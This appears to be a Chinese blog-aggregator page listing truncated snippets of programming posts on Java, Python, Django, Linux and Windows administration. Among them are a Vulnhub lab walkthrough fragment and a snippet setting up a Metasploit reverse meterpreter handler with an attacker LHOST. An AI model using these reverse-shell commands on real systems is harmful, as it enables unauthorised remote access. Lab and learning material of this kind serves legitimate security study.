文件 方法python xlsx
java将word文件流转为pdf并下载
1.pom <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>4.1.2</version> </dependency> <dependency> <groupId>f ......
Windows设置程序开机自启动的几种方法
启动优先级:服务>注册表>启动文件夹>计划 1.Win + R 打开运行,输入:shell:startup把要开机自启的程序文件或快捷方式复制到打开的窗口中即可。此方法是打开开始菜单-程序-启动文件夹。 2.Win + R 打开运行,输入:regedit.exe进入注册表。打开HKEY_LOCAL_ ......
mybatis-plus只查询部分字段的两种方法
方法1:只需要查询出name和phone两个字段:使用queryWrapper的select()方法指定要查询的字段 public List selectByWrapper1(){ QueryWrapper queryWrapper = new QueryWrapper<>(); queryWrap ......
python编程经验
1、 # 在此基础上获取最大长度共同子字符串 sub_len = min_len while s1[s1_index+i: s1_index+i+sub_len] == s2[s2_index+j: s2_index+j+sub_len]: sub_len += 1 # 实际的最大共同子字符串长度 ......
微服务相关组件的启动方法
本篇文章是记录微服务相关组件的启动方法,安装流程可以百度查看网上博主文章,随便找一篇问题都不大,本文主要是因为运行的有点特殊,特意记录下来,日后忘记回来找笔记,都是在已经安装配置的基础上。 Redis 分布式缓存,单机Redis的启动方式。 # 启动Redis redis-server redis. ......
Vulnhub之Hacksudo Search靶机详细测试过程(不同提权方法)
Hacksudo Search 识别目标主机IP地址 (kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168. ......
python创建定时任务
1,创建每3秒执行一个定时任务 import schedule def task(): print("3秒执行一次任务") def func(): # 清空任务 schedule.clear() # 创建一个任务 schedule.every(3).seconds.do(task) while Tr ......
[Jquery DataTable] 生成模板文件
以前生成模板文件,都是在后端放一个文件,前端提供一个链接地址。碰巧看到用DataTable来生成模板文件的方式,特此记录下。 原理:创建一个空数据的DataTable,提供导出按钮功能,并隐藏DataTable。页面上就只会显示一个按钮,不显示DataTable. <!DOCTYPE html> < ......
回顾Python的可迭代对象、迭代器、生成器
一、可迭代对象:可以用for遍历的对象,包括list、set、dict等。 二、迭代器:能够记录当前迭代位置的可迭代对象,就是迭代器。 1)把list、set、dict等简单的可迭代对象用iter()函数包装一下,就成了迭代器。 例如 x=iter([1,2,3]) # type(x) 输出 lis ......
配置python虚拟环境的路径
1配置环境变量WORKON_HOME: 我是将以后虚拟环境都放在G:\pyEnvs方便管理 2.修改windows环境下mkvirtualenv.bat文件(我的是G:\Python3.7.4\Scripts\mkvirtualenv.bat,),配置虚拟环境根目录地址 然后修改第24行 【set ......
虚拟机文件系统损坏
问题描述linuxwindows问题原因问题影响问题解决问题确认修复虚拟机磁盘linux 操作系统修复准备修复镜像通过下载的镜像/磁盘镜像启动新的kvm虚拟机,将故障虚拟机磁盘挂载到系统进行修复启动虚拟机,进行修复验证使用 ISO 修复需注意windows 操作系统修复下载windows iso 镜 ......
文件操作函数(access chmod chown truncate)
/* 判断文件属性 #include <unistd.h> int access(const char *pathname, int mode); 参数: pathname:文件路径 mode:F_OK 是否存在 R_OK 读权限 W_OK 写权限 X_OK 执行权限 返回值: 成功:0 失败:-1 ......
虚拟机文件系统损坏
1. 问题描述 1.1. linux 1.2. windows 2. 问题原因 3. 问题影响 4. 问题解决 4.1. 问题确认 4.2. 修复虚拟机磁盘 4.2.1. linux 操作系统修复 4.2.1.1. 准备修复镜像 4.2.1.2. 通过下载的镜像/磁盘镜像启动新的kvm虚拟机,将故障 ......
Python Django 制作商品列表展示
新建名为 goods 应用 python manage.py startapp goods 修改 chapter1/settings.py 文件 在 INSTALLED_APPS 数组中添加 goods 在对象 TEMPLATES.OPTIONS 中添加 django.template.contex ......
比较Python与Java在类的定义、继承、多态等方面的异同
首先我来进行介绍Python与Java在类的定义、继承、多态等方面的异同 1.python类和java类的使用一览 java: public class Car { private String color; private String model; private int year; publi ......
Vmware不是有效的短文件名,安装Vmware时XXXX不是有效的短文件名
今天在整理Vmware的时候,不小心删除了部分文件 于是整个卸载重新安装 下载完后,点击安装时,发现报如下图所示内容,导致无法安装 于是我也很费解,怎么回事,在网上各种百度。最后得到的解决办法如下: 出现这种问题的情况是,是之前有装过VM,在卸载的时候,没有卸载完全,或是没有卸载。直接删除文件 导致 ......
Python基础【21】eval和exec的区别,_builtins
1.eval执行有返回结果,exec执行但是没有返回结果. 2.内建模块_builtins_: ......
Python爬虫基础之一
Python爬虫基础包括HTTP协议、HTML、CSS和JavaScript语言基础、requests库的使用、Beautiful Soup库的使用、xpath和正则表达式的使用等。此外,还应该了解反爬虫机制和爬虫的一些常见问题及解决方法。 爬虫学习暂时咕咕了。。。,等有空再继续更新。 一、基础知识 ......
力扣 748.最短补全词--python
给你一个字符串 licensePlate 和一个字符串数组 words ,请你找出 words 中的 最短补全词 。 补全词 是一个包含 licensePlate 中所有字母的单词。忽略 licensePlate 中的 数字和空格 。不区分大小写。如果某个字母在 licensePlate 中出现不止 ......
【代理设计模式详解】C/Java/JS/Go/Python/TS不同语言实现
简介 代理模式(Proxy Pattern)是一种结构型设计模式,用一个类来代理另一个类或几个类的功能。 在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。 延迟初始化(虚拟代理)。如果你有一个偶尔使用的重量级服务对象,一直保持该对象运行会消耗系统资源时,可使用代理模式。 访问控制( ......
CentOS系统中将Python升级最新版
第1步:更新gcc,gcc版本太老会导致新版本python包编译不成功 yum install -y gcc zlib-devel openssl-devel 系统会自动下载并安装或更新,等它自己结束。 第2步:下载Python3.5.1软件包 wget https://www.python.org ......
mac+docker+jenkins,运行python自动化
一、实现思路 在mac本地安装Docker Desktop 创建jenkins容器 根据自动化项目依赖包构建python镜像(构建自动化python环境) 运行新的python容器,执行jenkins从仓库中拉下来的自动化项目 执行完成之后删除容器 二、环境准备 1、一台mac 2、在mac上安装D ......
arthas现网排查 查看方法出入参
docker容器内使用arthas定位问题: 1、进入容器 docker exec -it xxxxx bash 2、cd 到arthas-boot.jar存放所在目录 3、java -jar arthas-boot.jar 查看方法出入参watch 类名 空格 方法名 {params,return ......
Centos 安装 python3.x 为默认
CentOS 7 中默认安装了 Python,但是版本是2.x的,由于2020年python2.x将停止更新,因此需要将版本升级至3.x。但由于python2.x是系统集成的,很多命令都是要基于python2.x,比如:yum。因此在更新 Python 时,建议新旧版本共存。 当前初始环境 # 该系 ......
倒数日便签设置提醒时间的方法
倒数日在生活、工作和学习中的使用场景是非常广泛的,例如距离某个重要会议的倒数日、距离某个纪念日的倒数日、距离重要考试的倒数日等。如果我们能够每天都看到距离某个重要日期的倒数天数,这样不仅能够让我们更有时间观念,而且能够更好地督促自己提前做好充足的准备。 有不少网友表示自己需要使用一款支持显示倒数日期 ......
SpringBoot 编译运行时出现 错误: 无 效的目标发行版:1.11 的解决方法
网上的方法大多是jdk版本不一致问题这里需要修改下所用maven的settings.xml以下贴的图是修改后,原本我这里jdk的版本号全部是1.11 修改以后就可以顺利运行了,乌鱼子 ......
快速上手Linux核心命令(四):文件内容相关命令
@(文件内容相关命令) 前言 上一篇中已经预告,我们这篇主要说一说Linux中文件内容查看处理相关的命令。一共16个命令,其中 标注的为重点命令,工作中用的也比较多,需要熟练掌握 cat 合并文件或查看文件内容 1、简介 cat 是concatenate 单词的缩写,或者理解成猫,"喵"一下文件内容 ......
反弹meterpreter方法
启动 msfconsole msfconsole下依次执行如下命令[use exploit/multi/handler][set payload windows/meterpreter/reverse_tcp] //192.168.25.128是攻击机IP[set LHOST 192.168.25. ......
Python3.10 报错解决"zipimport.ZipImportError: can't decompress data; zlib not available" "ModuleNotFoundError: No module named 'zlib'"
编译没问题,在安装python3.10出现如下错时 试试下面命令,安装zlib的所有依赖包(可能是少了) yum -y install zlib* 安装成功了 参考: python3安装遇到 zipimport.ZipImportError: can't decompress data; zlib ......